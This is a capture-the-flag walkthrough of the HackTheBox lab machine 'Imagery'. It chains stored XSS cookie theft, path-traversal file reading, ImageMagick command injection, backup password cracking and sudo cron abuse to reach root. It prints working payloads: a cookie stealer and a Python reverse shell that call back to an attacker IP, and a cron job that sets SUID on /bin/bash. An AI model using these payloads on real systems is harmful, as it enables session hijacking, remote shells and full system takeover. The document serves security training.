HackTheBox Walkthrough: Imagery

Welcome to the walkthrough for Imagery, a machine that tests our ability to chain web vulnerabilities, analyze source code for secure coding errors, and perform forensic-style enumeration to move laterally.

Difficulty: Medium/Hard
Target IP: 10.129.21.11
OS: Linux


1. Executive Summary (TL;DR)

Our journey begins with a stored Cross-Site Scripting (XSS) vulnerability in a bug reporting system, which we leverage to hijack an administrator’s session. With administrative access, we discover a Local File Inclusion (LFI) flaw, allowing us to dump the application’s source code and database.

Code analysis reveals a critical Command Injection vulnerability in the ImageMagick processing logic. We exploit this to gain a reverse shell. Inside the machine, we discover an encrypted backup file, crack it to find a user’s password, and finally escalate to Root by abusing a custom backup utility called charcol running with sudo privileges.


2. Phase 1: Enumeration

We start by verifying connectivity to the target.

❯ ping -c 3 imagery.htb
PING imagery.htb (10.129.21.11) 56(84) bytes of data.
64 bytes from imagery.htb (10.129.21.11): icmp_seq=1 ttl=63 time=182 ms
64 bytes from imagery.htb (10.129.21.11): icmp_seq=2 ttl=63 time=248 ms
64 bytes from imagery.htb (10.129.21.11): icmp_seq=3 ttl=63 time=196 ms

Next, we perform a comprehensive Nmap scan to identify open ports and services.

❯ nmap -sV -sC -p- 10.129.21.11 -T4 --min-rate=1000

The scan reveals two open ports:

  • 22/tcp (SSH): OpenSSH 9.7p1.
  • 8000/tcp (HTTP): Werkzeug httpd 3.1.3 (Python 3.12.7).

Nmap Scan Results

Web Discovery

We perform a quick header check to confirm the server details.

❯ curl -I imagery.htb:8000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7

Curl Header Check

Navigating to http://imagery.htb:8000 in the browser, we find an Image Gallery application.

Index Page

The application allows user registration, image uploads, and most importantly, has a “Report Bug” feature.

Report Bug Page Report Bug Form


3. Phase 2: Initial Access (Foothold)

Step 1: XSS to Session Hijacking

We suspect the “Report Bug” feature might be viewed by an administrator (or a bot). We test for Cross-Site Scripting (XSS) by injecting a payload that attempts to call back to our machine.

Payload:

"><img src="http://10.10.14.95:8000/">```

XSS Payload Injection

We set up a Python HTTP server to listen for the callback. Within a minute, we receive a connection from the target IP! This confirms the XSS is valid and a bot is visiting the page.

XSS Confirmed

Now, we escalate this to steal the administrator’s session cookie. We’ll use netcat to catch the request.

Payload (Cookie Stealer):

<img src=x
onerror="window.location.href='http://10.10.14.95:8000/c='+btoa(document.cookie);" />

Cookie Theft Payload

Listener Output:

❯ nc -lvnp 8000
Listening on 0.0.0.0 8000
Connection received on 10.129.21.11 60926
GET /c=c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFZY2lmUS5xdVRIQWg5UldnXzlUdkRQTkZzSW9xbmN3a3c= HTTP/1.1

Netcat XSS Capture

We decode the base64 string to retrieve the session cookie.

❯ echo 'c2Vzc2lvbj0...[snip]...' | base64 -d
session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aYcliQ.0GVlWn0zhVONc2onOfHcZSD9sNY

Decoded Cookie

We replace our browser cookie with this stolen one and refresh the page. We now have access to the /admin panel.

Admin Panel Accessed

Step 2: LFI to Source Code Analysis

Inside the admin panel, we find a function to retrieve system logs: /admin/get_system_log. This looks like a prime target for Local File Inclusion (LFI).

We capture the request in Burp Suite and attempt a path traversal payload.

Request: GET /admin/get_system_log?log_identifier=../../../../../../etc/passwd

Burp LFI Request

Response: We successfully read /etc/passwd.

LFI Proof

Now we enumerate the application. By reading /proc/self/environ, we can see the environment variables and the current working directory.

Environment LFI

This reveals the app is running in /home/web/web. We use the LFI to download the source code, specifically app.py and api_edit.py.

Source Code LFI

Step 3: Remote Code Execution (RCE)

Analyzing api_edit.py, we find a vulnerability in the apply_visual_transform function. Specifically, the crop transformation uses subprocess.run with shell=True and constructs the command using an f-string without sufficient sanitization on the width and height parameters.

if transform_type == 'crop':
    # ... inputs ...
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

However, this endpoint is restricted. The code checks if not session.get('is_testuser_account'):.

To bypass this, we use our LFI to read db.json and find the credentials for the testuser.

{
    "username": "testuser@imagery.htb",
    "password": "2c65c8d7bfbca32a3ed42596192384f6",
    "isTestuser": true
}

We crack the MD5 hash using john or an online lookup. The password is iambatman.

Cracking Testuser

We log in as testuser, upload an image to get a valid imageId, and then intercept the transformation request. We inject our Python reverse shell payload into the width parameter.

Payload:

{
  "imageId": "a1a350fc-1350-4968-a1b2-848d79634067",
  "transformType": "crop",
  "params": {
    "x": 0,
    "y": 0,
    "width": "100; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.95\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")' #",
    "height": 400
  }
}

Image Uploaded Transformation Trigger

We send the request. The server returns a 500 error (expected due to command corruption), but our code executes.

RCE Triggered

Checking our listener:

❯ sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.21.11 ...
web@Imagery:~/web$ id
uid=1001(web) gid=1001(web) groups=1001(web)

We have a shell as the web user!

Whoami Shell


4. Phase 3: Lateral Movement

Now inside, we perform enumeration using linpeas.sh.

Linpeas Execution

LinPEAS highlights an interesting file: /var/backup/web_20250806_120723.zip.aes.

We transfer this file to our local machine. Analysis using file and strings reveals it was encrypted using pyAesCrypt.

❯ file backup.zip.aes
backup.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

We use a Python script to brute-force the archive using rockyou.txt.

❯ python3 dpyAesCrypt.py backup.zip.aes rockyou.txt -t 100
[] Password found: bestfriends

We decrypt the file, unzip it, and inspect the db.json inside. This backup contains the credentials for the user mark, which were different in the live version.

Hash: 01c3d2e5bdaf6134cec0a367cf53e535 Cracked: supersmash

We use su mark to switch users.

Switch to Mark


5. Phase 4: Privilege Escalation (Root)

We check Mark’s sudo privileges.

mark@Imagery:~$ sudo -l
User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

We investigate the charcol binary. It is a custom backup tool. The help menu reveals two key options:

  1. -R: Reset the application password to default.
  2. auto add: Schedule a cron job.

Since charcol is run with sudo, any cron job it creates will likely run as root.

Exploitation Steps:

  1. Reset Configuration:

    mark@Imagery:~$ sudo /usr/local/bin/charcol -R
    

    It asks for Mark’s system password (supersmash) to confirm.

  2. Configure Shell: We enter the interactive shell mode to set a new app password.

    mark@Imagery:~$ sudo /usr/local/bin/charcol shell
    
  3. Inject Malicious Cron Job: Inside the charcol> prompt, we add a job that adds the SUID bit to /bin/bash. This will allow us to execute bash with root privileges.

    charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
    

    The tool confirms: Cron line added: * * * * * ....

  4. Gain Root: We wait one minute for the cron job to execute. Then we check the permissions of /bin/bash.

    mark@Imagery:~$ ls -la /bin/bash
    -rwsr-xr-x 1 root root ... /bin/bash
    

    The SUID bit is set! We run bash -p to drop into a root shell.

    mark@Imagery:~$ bash -p
    bash-5.2# id
    uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)
    

6. Post-Exploitation

We have successfully compromised the entire system.

User Flag: /home/mark/user.txt

Root Flag: /root/root.txt

This concludes the walkthrough for Imagery. The machine demonstrated the critical importance of sanitizing input in system calls (Command Injection), protecting internal administrative tools (LFI/XSS), and properly securing backup mechanisms and sudo privileges.